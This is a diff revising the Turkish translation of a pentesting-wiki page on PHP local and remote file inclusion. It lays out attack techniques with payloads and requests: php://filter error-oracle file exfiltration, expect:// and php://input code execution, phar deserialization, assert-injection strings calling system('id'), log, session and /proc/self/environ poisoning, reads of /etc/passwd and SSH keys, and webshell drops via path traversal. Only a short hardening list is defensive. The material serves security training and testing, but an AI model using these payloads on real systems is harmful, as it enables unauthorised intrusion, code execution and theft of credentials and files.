-## En Çok Etkilenebilecek 25 Parametre
+## En Çok Hedeflenen 25 Parametre
-İşte local file inclusion (LFI) zafiyetine açık olabilecek en çok etkilenen 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+İşte local file inclusion (LFI) zafiyetlerine açık olabilecek en çok 25 parametrenin listesi (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@@ -211,36 +211,36 @@ Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir di
?mod={payload}
?conf={payload}
```
-## LFI / RFI using PHP wrappers & protocols
+## LFI / RFI — PHP sarmalayıcıları ve protokoller kullanarak
### php://filter
-PHP filtreleri, veri okunmadan veya yazılmadan önce veriler üzerinde temel **değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır:
+PHP filtreleri, veriler okunmadan veya yazılmadan önce temel **veri üzerinde değişiklik işlemleri** gerçekleştirmeye izin verir. Filtreler 5 kategoriye ayrılır:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: Verideki tagleri kaldırır ( "<" ile ">" arasındaki her şey)
-- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
+- `string.strip_tags`: Verilerden etiketleri kaldırır ( "<" ve ">" karakterleri arasındakiler)
+- Not: Bu filtre modern PHP sürümlerinden kaybolmuştur
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
-- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..`). Desteklenen tüm kodlamaların **listesini** almak için konsolda `iconv -l` çalıştırın
+- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür(`convert.iconv..`). Desteklenen **tüm kodlamaların listesi** için konsolda çalıştırın: `iconv -l`
> [!WARNING]
-> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **istediğiniz metni üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metni işlemesini sağlamak için faydalı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) adresine bakın.
+> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **keyfi metin** üretebilirsiniz; bu, istediğiniz metni yazmak veya include gibi bir fonksiyonun keyfi metni işlemesini sağlamak için faydalı olabilir. Daha fazla bilgi için bkz. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi exfiltrate ediliyorsa kullanışlı olabilir)
-- `zlib.inflate`: Veriyi dekomprese eder
+- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi exfiltrating yaparken kullanışlı)
+- `zlib.inflate`: Veriyi açar
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Kullanımdan kaldırıldı
- `mdecrypt.*` : Kullanımdan kaldırıldı
- Other Filters
-- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda birkaç **beklenmeyen filtre** bulabilirsiniz:
+- PHP içinde `var_dump(stream_get_filters());` çalıştırırsanız birkaç **beklenmedik filtre** bulabilirsiniz:
- `consumed`
- `dechunk`: HTTP chunked encoding'i tersine çevirir
- `convert.*`
@@ -271,25 +271,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
-> php://filter kısmı büyük/küçük harfe duyarsızdır
+> "php://filter" kısmı büyük/küçük harfe duyarsızdır
-### Rastgele dosyaları okumak için php filters'ı oracle olarak kullanma
+### Herhangi bir dosyayı okumak için oracle olarak php filters kullanma
-[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan teknik, sunucunun çıktıyı geri vermediği durumlarda yerel bir dosyayı okumaya olanak verir. Bu teknik, **php filters kullanılarak oracle olarak yapılan dosyanın char by char boolean exfiltration'ına** dayanır. Bunun nedeni php filters'ın bir metni php'nin bir hata fırlatacağı kadar büyütebilmesidir.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) bir teknik öneriyor: sunucudan çıktı alınmadan yerel bir dosya okumak. Bu teknik oracle olarak **boolean exfiltration of the file (char by char) using php filters**'a dayanır. Bunun nedeni, php filters'ın bir metni php'nin bir hata fırlatacağı kadar büyütebilmesidir.
-Orijinal yazıda tekniğin detaylı açıklaması bulunuyor, burada kısa bir özet:
+Orijinal yazıda tekniğin detaylı açıklaması bulunmakla birlikte, kısa bir özet:
-- Kodlayıcı **`UCS-4LE`**'yi kullanarak metnin başındaki karakteri öne çıkarın ve string boyutunun üssel olarak artmasını sağlayın.
-- Bu, ilk harf doğru tahmin edildiğinde php'nin bir **error** tetikleyeceği kadar büyük bir **metin** üretmek için kullanılacak.
-- **dechunk** filtresi, **ilk karakter hexadecimal değilse her şeyi kaldırır**, bu yüzden ilk karakterin hex olup olmadığını anlayabiliriz.
-- Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştirildiğinde, metnin başlangıcındaki bir harfi, onu hexadecimal olmayan hale getirmek için yeterli dönüşümü ne zaman yaptığımızı görerek tahmin etmemizi sağlayacak. Çünkü eğer hex ise, dechunk onu silmez ve başlangıç bombası php error'a neden olur.
-- Kodlayıcı **convert.iconv.UNICODE.CP930**, her harfi kendisinden sonraki harfe dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık hexadecimal karakter olmaz, dolayısıyla dechunk onu silmez ve php error başlatılır çünkü başlangıç bombasıyla çarpılır.
-- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec'ler de diğer harfleri hex aralığına taşımak için kullanılabilir).
-- İlk karakter bir sayı olduğunda, sayıyı elde edebilmek için önce base64 ile encode etmek ve sayıyı leak etmek için ilk 2 karakteri leak etmek gerekir.
-- Son problem **ilk harften daha fazlasını nasıl leak edeceğimizi** görmek. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi order memory filters kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna başka harfleri getirmek mümkündür.
-- Ve daha fazla veri elde edebilmek için fikir, **convert.iconv.UTF16.UTF16** ile başta 2 byte junk data oluşturmak, **UCS-4LE** uygulayarak bunları sonraki 2 byte ile **pivot** yapmak ve junk data'ya kadar veriyi silmektir (bu, başlangıçtaki metnin ilk 2 byte'ını kaldırır). İstediğiniz biti leak edene kadar bunu tekrarlayın.
+- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
+- Bu, **ilk harfi doğru tahmin ettiğimizde o kadar büyük bir metin** oluşturmak için kullanılacak ki php bir **hata** tetikleyecek.
+- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
+- Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştiğinde, metnin başındaki bir harfi; yeterince dönüşüm uyguladığımızda artık hexadecimal bir karakter olmadığını görerek tahmin etmemizi sağlar. Çünkü eğer hex ise, dechunk onu silmez ve başlangıçtaki bombanın etkisiyle php hatası tetiklenir.
+- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
+- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
+- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
+- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
+- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
-Yazıda bu işlemi otomatikleştiren bir araç da leak edildi: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-Ayrıca **php://stdin, php://stdout and php://stderr** sırasıyla **dosya tanımlayıcıları 0, 1 ve 2**'ye erişmek için kullanılabilir (bir saldırıda bunun nasıl yararlı olabileceğinden emin değilim)
+You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (bunun bir saldırıda nasıl işe yarayabileceğini bilmiyorum)
### zip:// and rar://
-İçinde bir PHPShell bulunan Zip veya Rar dosyası yükleyin ve ona erişin.\
-rar protocol'u kötüye kullanabilmek için bunun **özellikle etkinleştirilmesi gerekir**.
+İçine bir PHPShell konulmuş bir Zip veya Rar dosyası yükleyin ve ona erişin.\
+rar protocolünü kötüye kullanabilmek için **özellikle etkinleştirilmiş olması gerekir**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -332,20 +332,20 @@ Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_incl
### expect://
-Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:
+Expect'in etkinleştirilmiş olması gerekir. Bunu kullanarak kod çalıştırabilirsiniz:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
-POST parametrelerinde payload'ınızı belirtin:
+POST parametrelerinde payload'unuzu belirtin:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
-A `.phar` dosyası, bir web uygulaması dosya yüklemek için `include` gibi fonksiyonları kullandığında PHP kodu çalıştırmak amacıyla kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir:
+Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonları kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıdaki PHP kod parçası bir `.phar` dosyasının oluşturulmasını göstermektedir:
```php
stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
-Çalıştırıldığında `test.phar` adlı bir dosya oluşturulur; bu dosya Local File Inclusion (LFI) zafiyetlerini sömürmek için kullanılabilir.
+Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak; bu dosya potansiyel olarak Local File Inclusion (LFI) zafiyetlerini sömürmek için kullanılabilir.
-Eğer LFI içinde PHP kodunu çalıştırmadan yalnızca dosya okuma yapılıyorsa — örneğin `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlarla — deserialization zafiyetinin sömürülmeye çalışılması mümkün olabilir. Bu zafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir.
+LFI sadece içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — örneğin `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla — bir deserialization vulnerability'nin sömürülmesi denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@@ -373,74 +373,73 @@ phar-deserialization.md
### CVE-2024-2961
-PHP'de php filters'ı destekleyen herhangi bir rastgele dosya okuması, RCE elde etmek için suistimal edilebiliyordu. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Çok kısa özet: PHP heap'inde bir **3 byte overflow** suistimal edilerek belirli bir boyuttaki serbest chunk zinciri **alter the chain of free chunks** değiştirilip herhangi bir adrese **write anything in any address** yazılabilmesi sağlandı; bu yüzden **`system`** çağıracak bir hook eklendi.\
-Daha fazla php filters suistimaliyle belirli boyutlarda chunk'lar alloc etmek mümkündü.
+It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**
+Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli bir boyuttaki boş chunk zinciri **değiştirildi** ve böylece **herhangi bir adrese herhangi bir şeyi yazmak** mümkün oldu; bu nedenle `system` çağırmak için bir hook eklendi. Daha fazla php filters suistimal edilerek belirli boyutlarda chunk'lar alloc etmek mümkün oldu.
### More protocols
-Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Dahil edilebilecek daha fazla [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php) için bakın:
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (file inclusion saldırısında bunun nasıl işe yarayabileceğinden emin değilim)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (file inclusion attack'ta bunun nasıl faydalı olabileceği kesin değil)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
-- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma akışları
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiç yazdırılabilir veri döndürmediği için burada pek kullanışlı değil)
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Yazdırılabilir hiçbir şey döndürmediği için burada pek yararlı değil)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (rastgele dosyaları okumak için kullanışlı değil)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için kullanışlı değil)
## LFI via PHP's 'assert'
-PHP'de 'assert' fonksiyonuyla ilgili olarak Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü 'assert' dizeler içindeki kodu çalıştırabilir. Bu, ".." gibi dizin geçiş karakterleri içeren girdiler kontrol edilip düzgün temizlenmiyorsa özellikle sorunludur.
+Local File Inclusion (LFI) riskleri, string içindeki kodu çalıştırabilen 'assert' fonksiyonuyla uğraşırken PHP'de özellikle yüksektir. Bu durum, ".." gibi dizin atlama karakterleri içeren girdiler kontrol edilip düzgün şekilde temizlenmiyorsa özellikle problemlidir.
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
-Bu, traversal'ı durdurmayı amaçlasa da, istemeden code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek amacıyla bir saldırgan şunu kullanabilir:
+Bu, traversal'ı engellemeyi amaçlarken istemeden code injection için bir vektör oluşturur. Dosya içeriğini okumak için bunu istismar eden bir saldırgan şunu kullanabilir:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
-Benzer şekilde, rastgele sistem komutlarını çalıştırmak için şu kullanılabilir:
+Benzer şekilde, rastgele sistem komutları çalıştırmak için şunu kullanabilirsiniz:
```plaintext
' and die(system("id")) or '
```
-It's important to **URL-encode these payloads**.
+Bu **payloads**'ı **URL-encode** etmek önemlidir.
## PHP Blind Path Traversal
> [!WARNING]
-> Bu teknik, bir **dosya yolunu** sizin **kontrol ettiğiniz**, bir **PHP fonksiyonunun** bir dosyaya **erişecek** olduğu fakat dosyanın içeriğini görmeyeceğiniz durumlarda (ör. basit bir çağrı olan **`file()`**) ilgilidir; içerik gösterilmez.
+> Bu teknik, bir **PHP function**'ın **file path**'ini **kontrol ettiğiniz**, bu fonksiyonun bir dosyaya **erişecek** olduğu ama dosya içeriğini görmediğiniz durumlarla ilgilidir (ör. basit bir çağrı **`file()`**) ve içerik gösterilmiyorsa geçerlidir.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
-Özetle, teknik bir dosyanın içeriğini o kadar "büyük" hale getirmek için **"UCS-4LE" encoding** kullanır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikler.
+Özetle, teknik bir dosyanın içeriğini o kadar büyük yapmak için **"UCS-4LE" encoding** kullanır ki dosyayı açan **PHP function** bir **error** tetikler.
-Daha sonra ilk karakteri leak etmek için filtre **`dechunk`** base64 veya rot13 gibi diğerleriyle birlikte kullanılır ve son olarak filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** diğer karakterleri başa yerleştirmek ve onları leak etmek için kullanılır.
+Daha sonra, ilk karakteri leak etmek için filter `dechunk` base64 veya rot13 gibi diğerleriyle birlikte kullanılır ve son olarak filtreler `convert.iconv.UCS-4.UCS-4LE` ve `convert.iconv.UTF16.UTF-16BE` başa başka karakterler yerleştirmek ve onları leak etmek için kullanılır.
-Potansiyel olarak zafiyetli fonksiyonlar: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Zafiyetli olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
-Teknik detaylar için belirtilen yazıya bakın!
+Teknik detaylar için bahsedilen yazıya bakın!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
-When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
+Sunucu tarafı kodu, yüklenen/işlenen dosyaların hedef yolunu kullanıcı kontrollü veriyi (ör. bir filename veya URL) canonicalise ve validate etmeden oluşturuyorsa, `..` segmentleri ve absolute path'ler amaçlanan dizinden kaçabilir ve arbitrary file write'e neden olabilir. Eğer payload'u web'e açık bir dizine yerleştirebiliyorsanız, genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz.
Typical exploitation workflow:
-- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
-- Determine web-exposed directories. Common examples:
+- Bir endpoint veya background worker içinde path/filename kabul eden ve içeriği diske yazan bir write primitive tespit edin (ör. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
+- Web'e açık dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
-- Browse to the dropped payload and execute commands.
+- Hedef depolama dizininden webroot'a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
+- Bıraktığınız payload'a gidin ve komutları çalıştırın.
-Notes:
-- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
-- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
+Notlar:
+- Yazmayı yapan vulnerable servis non-HTTP portunda dinliyor olabilir (ör. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'unuzu serve edecektir.
+- Java yığınlarında bu dosya yazımları genellikle basit `File`/`Paths` birleştirmesiyle uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@@ -466,26 +465,26 @@ in.transferTo(out);
```
-Hardening that defeats this class of bugs:
-- Kanonik bir yola çözümleyin ve bunun allow-listed base directory'nin bir alt öğesi olduğunu zorunlu kılın.
-- `..`, absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercih edilen yöntem generated filenames kullanmaktır.
-- Writer'ı düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini served roots'tan ayırın.
+Bu sınıf hataları önleyen hardening:
+- Yolu kanonik bir path'e çözümleyin ve bunun allow-listed base directory'nin bir alt dizini olduğunu zorunlu kılın.
+- `..`, mutlak kökler veya sürücü harfleri içeren tüm yolları reddedin; tercihen üretilmiş dosya adlarını kullanın.
+- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın.
## Remote File Inclusion
Önceden açıklandı, [**follow this link**](#remote-file-inclusion).
-### Via Apache/Nginx log file
+### Apache/Nginx log dosyası üzerinden
-Eğer Apache veya Nginx sunucusu include fonksiyonu içerisinde **vulnerable to LFI** ise **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** dosyalarına erişmeyi deneyebilirsiniz; **user agent** içine veya bir **GET parameter** içine **``** gibi bir php shell koyup o dosyayı include edebilirsiniz
+Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise, **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** dosyalarına erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine **``** gibi bir php shell yerleştirip bu dosyayı include edebilirsiniz
> [!WARNING]
-> Dikkat: shell için **simple quotes** yerine **double quotes** kullanırsanız, çift tırnaklar "_**quote;**_" stringine dönüştürülecek, **PHP orada bir hata fırlatacaktır** ve **başka hiçbir şey çalıştırılmayacaktır**.
+> Not: **eğer shell için çift tırnak kullanırsanız** tek tırnaklar yerine, çift tırnaklar "_**quote;**_" stringine dönüştürülecek, **PHP burada bir hata fırlatacak** ve **başka hiçbir şey çalıştırılmayacak**.
>
-> Ayrıca, payload'u **doğru yazdığınızdan** emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacaktır.
+> Ayrıca, payload'u **doğru yazdığınızdan** emin olun; aksi halde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz.
-Bu diğer loglarda da yapılabilir ama **dikkatli olun,** log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 olarak "user:password" içerir ve loglarda decode edilir. PHPShell bu header içine yerleştirilebilir.\
-Other possible log paths:
+Bu işlem diğer loglarda da yapılabilir ancak **dikkat,** log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Başlık **authorisation "basic"** Base64 olarak "user:password" içerir ve loglarda decode edilir. PHPShell bu başlığın içine yerleştirilebilir.\
+Diğer olası log yolları:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@@ -497,51 +496,51 @@ Other possible log paths:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
-Fuzzing kelime listesi: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
+Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### E-posta ile
-**Bir e-posta gönderin** internal bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde, örneğin `` ve kullanıcıya ait maili **`/var/mail/`** veya **`/var/spool/mail/`** gibi bir yol ile dahil etmeyi deneyin
+**Bir e-posta gönderin** internal bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde, örneğin `` ve kullanıcının mailini şu yollardan biriyle include etmeyi deneyin: **`/var/mail/`** veya **`/var/spool/mail/`**
-### /proc/*/fd/* üzerinden
+### /proc/\*/fd/\* üzerinden
-1. Çok sayıda shell yükleyin (örneğin: 100)
-2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini include edin, burada $PID = işlemin PID'i (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (o da brute force ile bulunabilir)
+1. Çok sayıda shell yükleyin (örneğin: 100)
+2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini include edin; burada $PID = sürecin PID'i (brute forced ile bulunabilir) ve $FD dosya tanımlayıcısıdır (o da brute forced ile bulunabilir)
-### /proc/self/environ üzerinden
+### /proc/self/environ ile
-Bir log dosyası gibi, payload'u User-Agent içine gönderin; /proc/self/environ dosyasının içinde yansıtılacaktır
+Bir log dosyası gibi, payload'u User-Agent içinde gönderin; /proc/self/environ dosyası içinde yansıtılacaktır.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
-### Yükleme yoluyla
+### Yükleme ile
-Bir dosya yükleyebiliyorsanız, içine shell payload enjekte edin (örneğin: ``).
+Eğer bir dosya yükleyebiliyorsanız, içeriğine shell payload enjekte edin (ör. : `` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin metadata'sına enjekte etmek en iyisidir
+Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin meta verilerine enjekte etmek en iyisidir
-### Zip file yüklemesi ile
+### Zip dosya yüklemesi ile
-Sıkıştırılmış, içinde PHP shell bulunan bir ZIP dosyası yükleyin ve erişin:
+Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
-### PHP sessions üzerinden
+### PHP sessions aracılığıyla
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
-PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarında saklanır
+PHP'de bu sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
-Çerezi `` olarak ayarla
+Cookie'yi şu değere ayarla: ``
```
login=1&user=&pass=password&lang=en_us.php
```
@@ -551,121 +550,116 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### ssh ile
-Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\/.ssh/id_rsa** dosyasına erişmeyi deneyin.
+Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve **\/.ssh/id_rsa** dosyasına erişmeye çalış.
-### **Üzerinden** **vsftpd** _**logları**_
+### **Üzerinden** **vsftpd** _**günlükleri**_
-FTP sunucusu vsftpd'nin logları _**/var/log/vsftpd.log**_ konumundadır. Bir Local File Inclusion (LFI) zafiyeti varsa ve açık bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar değerlendirilebilir:
+FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumundadır. Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:
-1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
-2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ dosyasından alın.
+1. Login process sırasında username alanına bir PHP payload enjekte et.
+2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını _**/var/log/vsftpd.log**_ adresinden al.
-### php base64 filter ile (base64 kullanarak)
+### php base64 filtresi ile (base64 kullanarak)
-As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, filtre "." karakterini yoksayar ve "php"yi base64'e ekler. İşte bir örnek payload:
